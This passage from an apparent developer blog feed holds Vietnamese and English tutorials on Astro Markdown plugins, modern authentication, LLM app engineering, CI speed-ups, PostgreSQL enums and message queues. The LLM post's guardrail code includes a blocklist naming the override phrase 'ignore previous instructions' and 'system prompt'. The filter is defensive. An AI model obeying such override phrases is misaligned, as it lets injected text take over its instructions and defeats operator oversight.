  return function (tree, { file }) {
    const textOnPage = toString(tree);
    const readingTime = getReadingTime(textOnPage);
    // Ghi đè hoặc thêm dữ liệu vào frontmatter
    file.data.astro.frontmatter.readingTime = readingTime.text;
  };
}

export default defineConfig({
  markdown: {
    remarkPlugins: [remarkReadingTime],
  },
});

Bây giờ, trong trang Layout bài viết của Astro, bạn đã có thể truy cập thuộc tính này một cách mượt mà:

---
const { frontmatter } = Astro.props;
---
<p>Thời gian đọc: {frontmatter.readingTime}</p>
<h1>{frontmatter.title}</h1>

Kết Luận

@astrojs/markdown-remark không chỉ là một công cụ chuyển đổi định dạng đơn thuần, mà là một Content Pipeline cực kỳ mạnh mẽ. Nhờ vào kiến trúc mở dựa trên nền tảng Unified, nó mang lại cho nhà phát triển quyền kiểm soát tuyệt đối đối với cách nội dung văn bản được hiển thị, tối ưu hóa hiệu năng tải trang (zero-JS mặc định) và mở ra không gian sáng tạo vô hạn với các plugin.

Hy vọng bài viết này giúp bạn hiểu rõ hơn về "vị anh hùng thầm lặng" này trong hệ sinh thái Astro!

Tài liệu tham khảo

Authentication — SSO, LDAP, WebAuthn, Passkeys

Sat, 25 Jul 2026 00:00:00 GMT

Xác thực (authentication) đã phát triển xa hơn username + password. Bài này khám phá các phương thức hiện đại.

Password — Tại Sao Không Đủ?

81% data breach dùng password yếu hoặc bị đánh cắp
User dùng lại password giữa các site
Mỗi site yêu cầu password khác → user quên

SSO — Single Sign-On

Đăng nhập 1 lần, dùng được nhiều app:

SAML (Security Assertion Markup Language)

User → App (Service Provider) → Redirect → IdP (Identity Provider)
                                              ↓
                                           Login
                                              ↓
                                    SAML Response → App → Login thành công

<!-- SAML Response (XML) -->
<saml:Assertion>
  <saml:Subject>
    <saml:NameID>user@company.com</saml:NameID>
  </saml:Subject>
  <saml:Attribute Name="email">user@company.com</saml:Attribute>
  <saml:Attribute Name="role">admin</saml:Attribute>
</saml:Assertion>

Dùng trong doanh nghiệp — Okta, Azure AD, Google Workspace.

OAuth2 + OIDC

OAuth2 cho authorization, OIDC (OpenID Connect) thêm authentication layer:

User → App → Redirect → Authorization Server → Login → ID Token (JWT) → App

// Xác thực xong — nhận ID Token
const idToken = jwt.verify(token, jwksUri);
// {
//   "sub": "google-oauth2|123456",
//   "email": "alice@example.com",
//   "name": "Alice",
//   "iss": "https://accounts.google.com"
// }

LDAP — Centralized Directory

LDAP (Lightweight Directory Access Protocol) lưu user, group, permission tập trung:

dc=example,dc=com
├── ou=people
│   ├── uid=alice
│   │   ├── cn: Alice
│   │   ├── mail: alice@example.com
│   │   └── memberOf: cn=engineers,ou=groups
│   └── uid=bob
└── ou=groups
    ├── cn=engineers
    └── cn=admins

import ldap from 'ldapjs';

const client = ldap.createClient({ url: 'ldap://localhost:389' });

// Bind (authenticate)
client.bind('cn=admin,dc=example,dc=com', 'password', (err) => {
  if (err) return console.error('Bind failed');
});

// Search
const opts = {
  filter: '(&(objectClass=person)(uid=alice))',
  scope: 'sub',
  attributes: ['cn', 'mail', 'memberOf'],
};

client.search('ou=people,dc=example,dc=com', opts, (err, res) => {
  res.on('searchEntry', (entry) => {
    console.log(entry.object);
  });
});

WebAuthn — Passwordless Authentication

WebAuthn dùng public-key cryptography — không password, không OTP.

Flow

1. Register: Browser → Tạo keypair → Gửi public key → Server lưu
2. Login:   Server gửi challenge → Browser sign bằng private key → Server verify

Register

// Client
const credential = await navigator.credentials.create({
  publicKey: {
    challenge: new Uint8Array(challenge),
    rp: { name: 'My App', id: 'example.com' },
    user: {
      id: new Uint8Array(userId),
      name: 'alice@example.com',
      displayName: 'Alice',
    },
    pubKeyCredParams: [{ alg: -7, type: 'public-key' }], // ES256
  },
});

// Gửi credential lên server
await fetch('/auth/webauthn/register', {
  method: 'POST',
  body: JSON.stringify({
    id: credential.id,
    publicKey: arrayBufferToBase64(credential.response.getPublicKey()),
  }),
});

Login

// Client — nhận challenge từ server
const assertion = await navigator.credentials.get({
  publicKey: {
    challenge: new Uint8Array(challenge),
    allowCredentials: credentials.map(c => ({
      id: base64ToArrayBuffer(c.id),
      type: 'public-key',
    })),
  },
});

await fetch('/auth/webauthn/login', {
  method: 'POST',
  body: JSON.stringify({
    id: assertion.id,
    signature: arrayBufferToBase64(assertion.response.signature),
    authenticatorData: arrayBufferToBase64(assertion.response.authenticatorData),
  }),
});

Passkeys — WebAuthn Cho Người Dùng

Passkeys là WebAuthn + credential sync (iCloud Keychain, Google Password Manager):

User → "Sign in with Face ID / Touch ID"
        ↓
  Device tạo keypair
  Public key → Server
  Private key → Sync qua iCloud/Google
        ↓
  Đăng nhập ở thiết bị khác — dùng passkey từ cloud

Passkeys đang được Apple, Google, Microsoft đẩy mạnh — thay thế password trong tương lai.

So Sánh

| Phương thức | Bảo mật | UX | Triển khai | |---|---|---|---| | Password | Thấp | Kém | Dễ | | OAuth2/OIDC | Cao | Tốt (SSO) | Trung bình | | SAML | Cao | Tốt (SSO) | Phức tạp | | LDAP | Trung bình | Trung bình | Trung bình | | WebAuthn | Rất cao | Xuất sắc | Phức tạp | | Passkeys | Rất cao | Xuất sắc | Trung bình |

Multi-Factor Authentication (MFA)

Kết hợp nhiều yếu tố:

Something you know — password
Something you have — phone, hardware key (YubiKey)
Something you are — fingerprint, face

// TOTP — Time-based One-Time Password
import { authenticator } from 'otplib';

// Tạo secret
const secret = authenticator.generateSecret();
const otpauth = authenticator.keyuri(user.email, 'MyApp', secret);
// User scan QR code với Google Authenticator

// Verify
const isValid = authenticator.check(token, secret);

Implementation — Auth với NextAuth.js

// auth.ts
import NextAuth from 'next-auth';
import Google from 'next-auth/providers/google';
import Credentials from 'next-auth/providers/credentials';

export const { handlers, signIn, signOut, auth } = NextAuth({
  providers: [
    Google,
    Credentials({
      credentials: { email: {}, password: {} },
      async authorize(credentials) {
        const user = await db.user.findUnique({
          where: { email: credentials.email as string },
        });
        if (!user || !bcrypt.compareSync(credentials.password as string, user.password)) {
          return null;
        }
        return { id: user.id.toString(), name: user.name, email: user.email };
      },
    }),
  ],
  callbacks: {
    async session({ session, token }) {
      session.user.id = token.sub!;
      return session;
    },
  },
});

Kết Luận

Password đang chết dần. SSO + MFA là chuẩn hiện tại. WebAuthn/Passkeys là tương lai.

Cho ứng dụng mới: bắt đầu với OAuth2/OIDC (Google, GitHub login) + optional password. Thêm WebAuthn cho nâng cao. Cho enterprise: SAML + LDAP + MFA.

Tài liệu tham khảo

LLM Engineering — Prompt, RAG, Fine-tuning Cho AI App

Fri, 24 Jul 2026 00:00:00 GMT

LLM Engineering là kỹ năng xây dựng ứng dụng trên nền tảng mô hình ngôn ngữ lớn. Không chỉ gọi API — mà là thiết kế hệ thống AI đáng tin cậy.

Kiến Trúc Ứng Dụng LLM

User → Orchestrator → LLM API
                        ↓
                  Tools / RAG / Memory
                        ↓
                    Response

Prompt Engineering

System Prompt

const SYSTEM_PROMPT = `Bạn là senior developer hỗ trợ viết code.
Luôn tuân theo:
1. TypeScript, strict mode
2. Không dùng 'any'
3. Unit test kèm theo
4. Giải thích ngắn gọn quyết định`;

async function chat(userMessage: string) {
  const response = await openai.chat.completions.create({
    model: 'gpt-4o',
    messages: [
      { role: 'system', content: SYSTEM_PROMPT },
      { role: 'user', content: userMessage },
    ],
  });
  return response.choices[0].message.content;
}

Structured Output

import { z } from 'zod';

const ReviewSchema = z.object({
  summary: z.string(),
  bugs: z.array(z.object({
    file: z.string(),
    line: z.number(),
    severity: z.enum(['low', 'medium', 'high']),
    description: z.string(),
  })),
  score: z.number().min(1).max(10),
});

async function reviewCode(code: string) {
  const response = await openai.chat.completions.create({
    model: 'gpt-4o',
    messages: [
      { role: 'system', content: 'Review code và trả về JSON.' },
      { role: 'user', content: code },
    ],
    response_format: { type: 'json_object' },
  });

  return ReviewSchema.parse(JSON.parse(response.choices[0].message.content));
}

RAG — Retrieval-Augmented Generation

Kết hợp knowledge base với LLM — giải quyết hallucination, cập nhật kiến thức không cần retrain.

Flow

User Query → Embedding → Vector DB Search → Top-K Chunks → LLM → Answer
                                                                    ↓
                                                              Với context

Implementation

import { OpenAIEmbeddings } from '@langchain/openai';
import { PineconeStore } from '@langchain/pinecone';
import { Pinecone } from '@pinecone-database/pinecone';

// 1. Index documents
async function indexDocuments(docs: string[]) {
  const embeddings = new OpenAIEmbeddings();
  const pc = new Pinecone({ apiKey: process.env.PINECONE_API_KEY! });
  const index = pc.Index('my-docs');

  for (const doc of docs) {
    const vector = await embeddings.embedQuery(doc);
    await index.upsert([{ id: crypto.randomUUID(), values: vector, metadata: { text: doc } }]);
  }
}

// 2. Query với RAG
async function queryWithRAG(question: string) {
  const embeddings = new OpenAIEmbeddings();
  const pc = new Pinecone({ apiKey: process.env.PINECONE_API_KEY! });
  const index = pc.Index('my-docs');

  // Search
  const queryVector = await embeddings.embedQuery(question);
  const results = await index.query({ vector: queryVector, topK: 5 });
  const context = results.matches.map(m => m.metadata?.text).join('\n');

  // Generate
  const response = await openai.chat.completions.create({
    model: 'gpt-4o',
    messages: [
      { role: 'system', content: 'Answer based on context provided.' },
      { role: 'user', content: `Context:\n${context}\n\nQuestion: ${question}` },
    ],
  });

  return response.choices[0].message.content;
}

Chunking Strategy

// RecursiveCharacterTextSplitter
import { RecursiveCharacterTextSplitter } from 'langchain/text_splitter';

const splitter = new RecursiveCharacterTextSplitter({
  chunkSize: 1000,
  chunkOverlap: 200,
  separators: ['\n## ', '\n### ', '\n\n', '\n', '. ', ' '],
});

const chunks = await splitter.createDocuments([document]);

Fine-tuning — Huấn Luyện Riêng

Khi RAG không đủ — cần huấn luyện model trên dữ liệu riêng.

Khi Nào Cần Fine-tune?

Style/Tone — model cần nói theo giọng riêng
Domain knowledge — codebase, thuật ngữ nội bộ
Format specific — output phải đúng format riêng
Reduce cost/latency — dùng model nhỏ hơn nhưng fine-tuned

Dataset Format

[
  {
    "messages": [
      { "role": "system", "content": "You are a code reviewer." },
      { "role": "user", "content": "Review: function add(a,b){return a+b}" },
      { "role": "assistant", "content": "**Score**: 8/10\n**Issues**: Missing TypeScript types, no input validation." }
    ]
  }
]

OpenAI Fine-tuning

# Prepare data
openai tools fine_tunes.prepare_data -f data.jsonl

# Fine-tune
curl -X POST https://api.openai.com/v1/fine_tuning/jobs \
  -H "Authorization: Bearer $OPENAI_API_KEY" \
  -d '{
    "model": "gpt-4o-mini",
    "training_file": "file-abc123"
  }'

Evaluation — Đo Chất Lượng

Không có metric tự nhiên như accuracy — cần đánh giá thủ công hoặc dùng LLM-as-judge:

async function evaluateResponse(question: string, response: string, expected?: string) {
  const eval = await openai.chat.completions.create({
    model: 'gpt-4o',
    messages: [
      {
        role: 'system',
        content: `Evaluate the response on:
        1. Correctness (1-5)
        2. Relevance (1-5)
        3. Completeness (1-5)
        Return JSON with scores and explanation.`
      },
      {
        role: 'user',
        content: `Question: ${question}\nResponse: ${response}${expected ? `\nExpected: ${expected}` : ''}`
      },
    ],
    response_format: { type: 'json_object' },
  });

  return JSON.parse(eval.choices[0].message.content);
}

Safety & Guardrails

// Input guard
function validateInput(input: string): boolean {
  const blocked = ['ignore previous instructions', 'system prompt', ...];
  return !blocked.some(b => input.toLowerCase().includes(b));
}

// Output guard
function validateOutput(output: string): boolean {
  if (output.includes('I cannot') && output.length < 50) {
    return false; // Refusal detected
  }
  return true;
}

Production Checklist

[ ] Prompt versioning (lưu prompt trong Git)
[ ] Caching responses giống nhau
[ ] Rate limiting + cost tracking
[ ] Fallback model (gpt-4o → gpt-4o-mini → cache)
[ ] Streaming response (UX tốt hơn)
[ ] Logging prompt + response + latency
[ ] A/B testing prompt
[ ] Monitoring hallucination rate
[ ] RAG chunk quality evaluation

Tools & Framework

| Tool | Purpose | |---|---| | LangChain | Framework cho LLM app | | LlamaIndex | RAG framework | | Pinecone / Weaviate | Vector database | | Guardrails AI | Output validation | | LangFuse / Weights & Biases | LLM observability | | Ollama | Local LLM |

Kết Luận

LLM Engineering không chỉ là gọi API. Prompt engineering là kỹ năng cơ bản. RAG cho knowledge base. Fine-tuning cho domain cụ thể. Evaluation là chìa khóa — không có metric, không biết mình đang làm tốt hay không. Bắt đầu với prompt + RAG, fine-tune khi cần.

Tài liệu tham khảo

CI/CD Speed: Vitest `--changed` + GH Actions + Bun

Fri, 24 Jul 2026 00:00:00 GMT

1. The Problem: Why is CI/CD Slow and Costly?

By default, standard CI runners typically perform two resource-heavy tasks:

Running the entire test suite: Even if you only change a single line of code in one component file, most traditional CI systems still scan and execute hundreds or thousands of unrelated test cases.
Shallow checkouts: GitHub Actions defaults to fetch-depth: 1, meaning it only downloads the absolute latest commit without pulling any Git history. While this makes cloning fast, it leaves tools that need to compare branches (like main and your current branch) completely "blind."

2. The Solution: Vitest `--changed` Meets `fetch-depth: 0`

What is Vitest `--changed`?

Vitest provides a remarkably powerful flag called --changed. When enabled, Vitest automatically detects which files have been modified compared to a base branch (usually main) and only runs test files directly or indirectly affected by those changes.

The Missing Link: Why `fetch-depth: 0` is Required

Because Vitest relies on Git history to determine file modifications, running a default shallow clone (fetch-depth: 1) leaves Vitest without the history context required to run comparisons against main, resulting in errors or skipped filters.

This is why you must configure actions/checkout with fetch-depth: 0 to fetch the full Git history so Vitest has the data it needs to cross-reference changes.

- uses: actions/checkout@v4
  with:
    fetch-depth: 0

3. Supercharging Speed with Bun Runtime

Instead of relying on traditional Node.js alongside npm or yarn, integrating Bun across your entire workflow delivers a massive performance boost:

Installing dependencies (bun install): Up to 10x to 30x faster than npm.
Running tests (bun x vitest): Leverages Bun's hyper-optimized JavaScript and TypeScript execution speed.

4. Complete GitHub Actions Workflow Configuration

Here is a complete sample workflow file (.github/workflows/ci.yml) bringing all three elements together:

name: CI

on:
  pull_request:
    branches: [ main ]
  push:
    branches: [ main ]

jobs:
  test:
    runs-on: ubuntu-latest

    steps:
      - name: Checkout repository
        uses: actions/checkout@v4
        with:
          fetch-depth: 0

      - name: Setup Bun
        uses: oven-sh/setup-bun@v2
        with:
          bun-version: latest

      - name: Install dependencies
        run: bun install --frozen-lockfile

      - name: Run Vitest on changed files
        run: bun x vitest run --changed main

5. Key Benefits

Implementing this setup in your project unlocks immediate advantages:

Massive CI time savings: Test execution time for small PRs can drop from minutes down to mere seconds since only relevant test cases run.
Faster feedback loops: Developers no longer have to wait anxiously to find out if their code passes checks.
Optimized resource usage: Reduces runner usage time on GitHub Actions, saving costs if you use self-hosted runners or paid minutes.

Conclusion

Optimizing your CI/CD pipeline doesn't require overly complex architecture. Sometimes, a smart combination of Vitest's built-in intelligence (--changed), proper Git history configuration (fetch-depth: 0), and the raw power of Bun runtime is all it takes to completely transform your development workflow.

Try implementing this in your next project and experience the speed difference yourself!

References

Tốc Độ CI/CD: Vitest `--changed` + GH Actions + Bun

Fri, 24 Jul 2026 00:00:00 GMT

1. Bài toán: Tại sao CI/CD lại chậm và tốn kém?

Theo mặc định, khi CI chạy, nó thường làm hai việc tốn kém:

Chạy toàn bộ test suite: Dù bạn chỉ sửa một dòng code nhỏ ở một file component, phần lớn các hệ thống CI vẫn quét và chạy hàng trăm, hàng ngàn test case không liên quan.
Checkout hời hợt (Shallow clone): GitHub Actions mặc định sử dụng fetch-depth: 1, nghĩa là nó chỉ tải về commit mới nhất mà không kéo theo lịch sử git. Điều này giúp checkout nhanh, nhưng lại làm "mù" các công cụ cần so sánh sự khác biệt giữa các nhánh (như main và nhánh hiện tại).

2. Vũ khí tối ưu: Vitest `--changed` kết hợp `fetch-depth: 0`

Vitest `--changed` là gì?

Vitest cung cấp một flag cực kỳ mạnh mẽ là --changed. Khi được kích hoạt, Vitest sẽ tự động dò xem file nào đã thay đổi so với một nhánh gốc (thường là main) và chỉ chạy các test file liên quan trực tiếp hoặc gián tiếp đến các file đó.

Nút thắt cổ chai: Tại sao cần `fetch-depth: 0`?

Vì Vitest dựa vào Git history để biết file nào đã thay đổi, nếu GitHub Actions dùng mặc định (fetch-depth: 1), Vitest sẽ không tìm thấy lịch sử để so sánh với nhánh main và báo lỗi hoặc không lọc được test.

Đó là lý do bạn bắt buộc phải cấu hình actions/checkout với fetch-depth: 0 (tải toàn bộ lịch sử git hoặc đủ sâu) để Vitest có dữ liệu lịch sử mà đối chiếu.

- uses: actions/checkout@v4
  with:
    fetch-depth: 0

3. Siêu nạp tốc độ với Bun Runtime

Thay vì dùng Node.js truyền thống cùng npm/yarn, việc tích hợp Bun vào toàn bộ chuỗi quy trình sẽ mang lại một cú hích hiệu suất kinh hoàng:

Cài đặt dependencies (bun install): Nhanh hơn từ 10 đến 30 lần so với npm.
Chạy test (bun x vitest): Tận dụng tốc độ thực thi mã JavaScript/TypeScript tối ưu của Bun.

4. Xây dựng cấu hình GitHub Actions hoàn chỉnh

Dưới đây là một mẫu file workflow (.github/workflows/ci.yml) hoàn chỉnh kết hợp cả ba yếu tố trên:

name: CI

on:
  pull_request:
    branches: [ main ]
  push:
    branches: [ main ]

jobs:
  test:
    runs-on: ubuntu-latest

    steps:
      - name: Checkout repository
        uses: actions/checkout@v4
        with:
          fetch-depth: 0

      - name: Setup Bun
        uses: oven-sh/setup-bun@v2
        with:
          bun-version: latest

      - name: Install dependencies
        run: bun install --frozen-lockfile

      - name: Run Vitest on changed files
        run: bun x vitest run --changed main

5. Lợi ích thu được

Khi áp dụng mô hình này vào dự án, bạn sẽ thấy rõ các thay đổi tích cực:

Tiết kiệm thời gian CI đáng kể: Thời gian chạy test cho một PR nhỏ có thể giảm từ vài phút xuống chỉ còn vài giây, vì chỉ các test case liên quan mới được thực thi.
Tăng tốc độ feedback: Lập trình viên không phải chờ đợi mòn mỏi để biết code của mình có pass hay không.
Tối ưu tài nguyên: Giảm tải thời gian sử dụng runner trên GitHub Actions, tiết kiệm chi phí nếu bạn dùng runner riêng hoặc các gói mở rộng.

Tổng kết

Việc tối ưu hóa CI/CD không đòi hỏi những kiến trúc phức tạp quá tầm. Đôi khi, chỉ bằng cách kết hợp thông minh giữa tính năng thông minh sẵn có của Vitest (--changed), cấu hình đúng đắn lịch sử Git (fetch-depth: 0) và sức mạnh của Bun runtime, bạn đã có thể lột xác toàn bộ quy trình phát triển sản phẩm của mình.

Hãy thử áp dụng ngay vào dự án tiếp theo và cảm nhận sự khác biệt!

Tài liệu tham khảo

How to Simulate an Enum Using SMALLINT in PostgreSQL

Thu, 23 Jul 2026 00:00:00 GMT

When modeling a small set of predefined values in PostgreSQL, you have several options:

PostgreSQL's native ENUM type
A SMALLINT column with a CHECK constraint
A SMALLINT column with a foreign key to a lookup table
A plain SMALLINT column validated only by application code

Each approach has different trade-offs in terms of type safety, flexibility, performance, and maintainability.

This article compares them and explains when to use each one.

The Problem

Suppose an order can have one of three statuses:

0 = Pending
1 = Paid
2 = Cancelled

We want to store the status efficiently while preventing invalid values such as:

99
-1
1234

The question is: how should we model this in PostgreSQL?

Option 1: `SMALLINT` with a `CHECK` Constraint

The simplest approach is to store the enum value as a SMALLINT and restrict the allowed values with a CHECK constraint.

CREATE TABLE orders (
    id BIGSERIAL PRIMARY KEY,

    status SMALLINT NOT NULL
        CHECK (status IN (0, 1, 2))
);

The application can define the meaning:

0 = Pending
1 = Paid
2 = Cancelled

Invalid values are rejected by PostgreSQL:

INSERT INTO orders (status)
VALUES (99);

ERROR: new row violates check constraint

Advantages

Simple
Efficient
Fully enforced by the database
No additional table required
Easy to query

SELECT *
FROM orders
WHERE status = 1;

Disadvantages

The meaning of the values is not visible from the column itself:

status = 1

What does 1 mean?

The application code or documentation must define that.

Another issue is that changing the allowed values requires modifying the table constraint:

ALTER TABLE orders
DROP CONSTRAINT orders_status_check;

ALTER TABLE orders
ADD CONSTRAINT orders_status_check
CHECK (status IN (0, 1, 2, 3));

For a small, stable set of values, however, this is often an excellent solution.

Option 2: `SMALLINT` Without a `CHECK` Constraint

You can also simply define:

CREATE TABLE orders (
    id BIGSERIAL PRIMARY KEY,
    status SMALLINT NOT NULL
);

The application defines the values:

0 = Pending
1 = Paid
2 = Cancelled

This is the simplest database schema.

Advantages

Minimal schema
No constraint maintenance
Very flexible
Very small storage size

Disadvantages

The database accepts every valid SMALLINT value:

INSERT INTO orders (status)
VALUES (32767);

This succeeds.

The database has no idea whether 32767 is a valid business status.

Therefore, this approach relies entirely on application-level validation.

That can be acceptable when:

There is only one application writing to the database
The database is treated as an internal implementation detail
Validation is centralized
You intentionally want the database schema to remain permissive

However, it can become dangerous when multiple services, scripts, or administrators write directly to the database.

Option 3: `SMALLINT` with a Foreign Key

A powerful alternative is to use a lookup table.

CREATE TABLE order_status (
    id SMALLINT PRIMARY KEY,
    name TEXT NOT NULL UNIQUE
);

Insert the valid statuses:

INSERT INTO order_status (id, name)
VALUES
    (0, 'pending'),
    (1, 'paid'),
    (2, 'cancelled');

Then reference the table:

CREATE TABLE orders (
    id BIGSERIAL PRIMARY KEY,

    status SMALLINT NOT NULL
        REFERENCES order_status(id)
);

Now PostgreSQL prevents invalid values:

INSERT INTO orders (status)
VALUES (99);

This fails because 99 does not exist in order_status.

Advantages

No CHECK constraint
Database-level validation
The meaning of each value is stored in the database
Easy to add metadata
Easy to extend

For example:

CREATE TABLE order_status (
    id SMALLINT PRIMARY KEY,
    name TEXT NOT NULL UNIQUE,
    description TEXT,
    is_active BOOLEAN NOT NULL DEFAULT TRUE,
    sort_order SMALLINT NOT NULL
);

Now the status table can contain business metadata.

Disadvantages

Requires an additional table
Requires a foreign key
Slightly more complex schema
Requires managing reference data

This is usually the best option when you want a SMALLINT representation but still want strong database-level validation without using a CHECK constraint.

Option 4: PostgreSQL's Native `ENUM`

PostgreSQL also provides a native enum type:

CREATE TYPE order_status AS ENUM (
    'pending',
    'paid',
    'cancelled'
);

Then:

CREATE TABLE orders (
    id BIGSERIAL PRIMARY KEY,
    status order_status NOT NULL
);

The database now understands the valid values directly:

INSERT INTO orders (status)
VALUES ('paid');

Invalid values are rejected:

INSERT INTO orders (status)
VALUES ('unknown');

Advantages

Strong type safety
Very readable
Database-enforced validation
No numeric mapping required

This is easy to understand:

status = 'paid'

compared with:

status = 1

Disadvantages

PostgreSQL enums can be less flexible when the set of values changes.

Adding a value is possible:

ALTER TYPE order_status
ADD VALUE 'refunded';

But removing or renaming enum values has historically been more complicated than modifying rows in a lookup table.

This makes native enums a good choice for values that are truly part of the database's stable domain model.

Comparison

| Approach | Database validation | Uses SMALLINT | Easy to change | Stores meaning in DB | Complexity | |---|---|---|---|---|---| | SMALLINT only | No | Yes | Very easy | No | Low | | SMALLINT + CHECK | Yes | Yes | Moderate | Partially | Low | | SMALLINT + foreign key | Yes | Yes | Easy | Yes | Medium | | PostgreSQL ENUM | Yes | No | Moderate | Yes | Low |

Which One Should You Choose?

Use `SMALLINT` + `CHECK` for a small, stable set

status SMALLINT NOT NULL
    CHECK (status IN (0, 1, 2))

This is a good default when:

The values are stable
You want compact storage
You want database validation
You do not need additional metadata

Use `SMALLINT` + foreign key when you want extensibility

status SMALLINT NOT NULL
    REFERENCES order_status(id)

Choose this when:

Statuses may change
You need descriptions or metadata
You want to enable or disable statuses
You want to avoid a CHECK constraint
The values are managed as reference data

This is often the most flexible design.

Use PostgreSQL `ENUM` for a stable domain type

CREATE TYPE order_status AS ENUM (
    'pending',
    'paid',
    'cancelled'
);

This is a good choice when:

The set of values is small
The values are fundamental to the domain
You want readable SQL
You do not expect frequent changes

Use plain `SMALLINT` only when application validation is intentional

status SMALLINT NOT NULL

This can be perfectly valid, but it is important to understand the trade-off:

The database will not know what values are valid.

This approach works best when validation is centralized in application code and direct database writes are tightly controlled.

A Practical Recommendation

For most applications, I would choose one of these two designs:

Stable values

CREATE TABLE orders (
    id BIGSERIAL PRIMARY KEY,
    status SMALLINT NOT NULL
        CHECK (status IN (0, 1, 2))
);

Dynamic or metadata-rich values

CREATE TABLE order_status (
    id SMALLINT PRIMARY KEY,
    name TEXT NOT NULL UNIQUE
);

CREATE TABLE orders (
    id BIGSERIAL PRIMARY KEY,
    status SMALLINT NOT NULL
        REFERENCES order_status(id)
);

The key distinction is simple:

Use a CHECK constraint when the valid values are part of the table's invariant. Use a lookup table when the valid values are data that may evolve. Use a PostgreSQL ENUM when the values are a stable database-level type.

And if you choose a plain SMALLINT without any database constraint, do so deliberately—because you are moving responsibility for data integrity from PostgreSQL to the application.

References

Message Queues — RabbitMQ, Kafka Cho Hệ Thống Phân Tán

Thu, 23 Jul 2026 00:00:00 GMT

Message queue là xương sống của hệ thống phân tán. Nó cho phép các service giao tiếp bất đồng bộ, chịu lỗi và scale độc lập.

Khi Nào Cần Message Queue?

Decoupling — Service A không cần biết Service B
Buffering — Chịu được traffic spike (queue làm đệm)
Retry — Nếu worker fail, message tự động retry
Fan-out — Một message đến nhiều consumer

RabbitMQ — Message Broker Cổ Điển

Concepts

Producer → Exchange → Queue → Consumer
              │
        (routing key, binding)

Exchange — nhận message từ producer, route đến queue
Queue — lưu message, consumer đọc từ queue
Binding — kết nối exchange → queue

Node.js với amqplib

import amqp from 'amqplib';

// Producer
async function sendMessage(queue: string, message: object) {
  const conn = await amqp.connect('amqp://localhost');
  const channel = await conn.createChannel();
  await channel.assertQueue(queue, { durable: true });
  channel.sendToQueue(queue, Buffer.from(JSON.stringify(message)), {
    persistent: true, // Lưu xuống disk
  });
  console.log(`Sent: ${JSON.stringify(message)}`);
}

// Consumer
async function consumeMessages(queue: string) {
  const conn = await amqp.connect('amqp://localhost');
  const channel = await conn.createChannel();
  await channel.assertQueue(queue, { durable: true });

  channel.consume(queue, (msg) => {
    if (msg) {
      const data = JSON.parse(msg.content.toString());
      console.log(`Received: ${data}`);

      // Acknowledge — xác nhận đã xử lý xong
      channel.ack(msg);
    }
  });
}

// Usage
await sendMessage('order.created', { orderId: 123, userId: 456 });
await consumeMessages('order.created');

Exchange Types

// Direct — route theo routing key chính xác
await channel.assertExchange('direct_logs', 'direct');
await channel.bindQueue('queue_errors', 'direct_logs', 'error');

// Topic — route theo pattern
await channel.assertExchange('topic_logs', 'topic');
await channel.bindQueue('queue_all', 'topic_logs', '*.critical');
await channel.bindQueue('queue_errors', 'topic_logs', 'error.#');

// Fanout — broadcast đến tất cả queue
await channel.assertExchange('fanout_logs', 'fanout');
// Tất cả queue bind đều nhận được message

Kafka — Event Streaming Platform

Concepts

Producer → Topic (Partition 0, 1, 2...) → Consumer Group

Topic — category của message
Partition — chia topic để song song
Consumer Group — nhiều consumer cùng group chia nhau partition
Offset — vị trí message trong partition

Node.js với kafkajs

import { Kafka } from 'kafkajs';

const kafka = new Kafka({
  clientId: 'my-app',
  brokers: ['localhost:9092'],
});

// Producer
async function produce() {
  const producer = kafka.producer();
  await producer.connect();

  await producer.send({
    topic: 'order-events',
    messages: [
      { key: 'order_123', value: JSON.stringify({ id: 123, status: 'created' }) },
      { key: 'order_456', value: JSON.stringify({ id: 456, status: 'paid' }) },
    ],
  });

  await producer.disconnect();
}

// Consumer
async function consume() {
  const consumer = kafka.consumer({ groupId: 'order-service' });
  await consumer.connect();
  await consumer.subscribe({ topic: 'order-events', fromBeginning: true });

  await consumer.run({
    eachMessage: async ({ topic, partition, message }) => {
      console.log({
        partition,
        offset: message.offset,
        value: message.value?.toString(),
      });

      // auto-commit offset (hoặc manual)
    },
  });
}

Kafka vs RabbitMQ

| | RabbitMQ | Kafka | |---|---|---| | Model | Smart broker, dumb consumer | Dumb broker, smart consumer | | Storage | Xoá sau khi consumed | Giữ message lâu (configurable) | | Performance | ~10K msg/s | ~1M msg/s | | Message ordering | Per queue | Per partition | | Use case | Task distribution | Event streaming, log | | Replay | ❌ | ✅ (từ offset cũ) |

NATS — Lightweight, Đơn Giản

import { connect } from 'nats';

const nc = await connect({ servers: 'nats://localhost:4222' });

// Publish
nc.publish('order.created', JSON.stringify({ id: 123 }));

// Subscribe
const sub = nc.subscribe('order.created');
for await (const msg of sub) {
  console.log(msg.data.toString());
}

// Request-Reply
const response = await nc.request('user.get', JSON.stringify({ id: 1 }));

NATS cực kỳ nhẹ — latency micro giây.

Pattern Thực Tế

1. Event Sourcing

Mọi thay đổi state đều là event:

// Order service
await producer.send({
  topic: 'order-events',
  messages: [
    { value: JSON.stringify({ type: 'OrderCreated', data: order }) },
    { value: JSON.stringify({ type: 'OrderPaid', data: payment }) },
    { value: JSON.stringify({ type: 'OrderShipped', data: shipment }) },
  ],
});

// Notification service consume events
// → Gửi email khi OrderCreated
// → Gửi SMS khi OrderShipped

2. Competing Consumers

Nhiều worker cùng xử lý queue:

Queue: [msg1, msg2, msg3, msg4, msg5]
         ↓      ↓      ↓      ↓      ↓
      Worker1 Worker2 Worker3 Worker1 Worker2

Tự động scale — thêm worker = xử lý nhanh hơn.

3. Dead Letter Queue (DLQ)

Message không xử lý được → chuyển sang DLQ:

channel.consume(queue, (msg) => {
  try {
    processMessage(msg);
    channel.ack(msg);
  } catch (err) {
    const retries = msg.properties.headers['x-retry'] || 0;
    if (retries < 3) {
      channel.nack(msg, false, true); // Requeue
    } else {
      channel.nack(msg, false, false); // → DLQ
    }
  }
});

Docker Compose

services:
  rabbitmq:
    image: rabbitmq:4-management
    ports:
      - "5672:5672"  # AMQP
      - "15672:15672" # Management UI

  kafka:
    image: confluentinc/cp-kafka:latest
    ports:
      - "9092:9092"
    environment:
      KAFKA_ADVERTISED_LISTENERS: PLAINTEXT://localhost:9092

  nats:
    image: nats:latest
    ports:
      - "4222:4222"

Kết Luận

RabbitMQ — task distribution, job queue, cần routing phức tạp
Kafka — event streaming, log, cần replay message
NATS — real-time, lightweight, micro giây latency

Chọn theo nhu cầu:

Đơn giản, cần retry → RabbitMQ
High throughput, event sourcing → Kafka
Siêu nhanh, real-time → NATS

Tài liệu tham khảo

Mô phỏng Enum bằng SMALLINT trong PostgreSQL

Thu, 23 Jul 2026 00:00:00 GMT

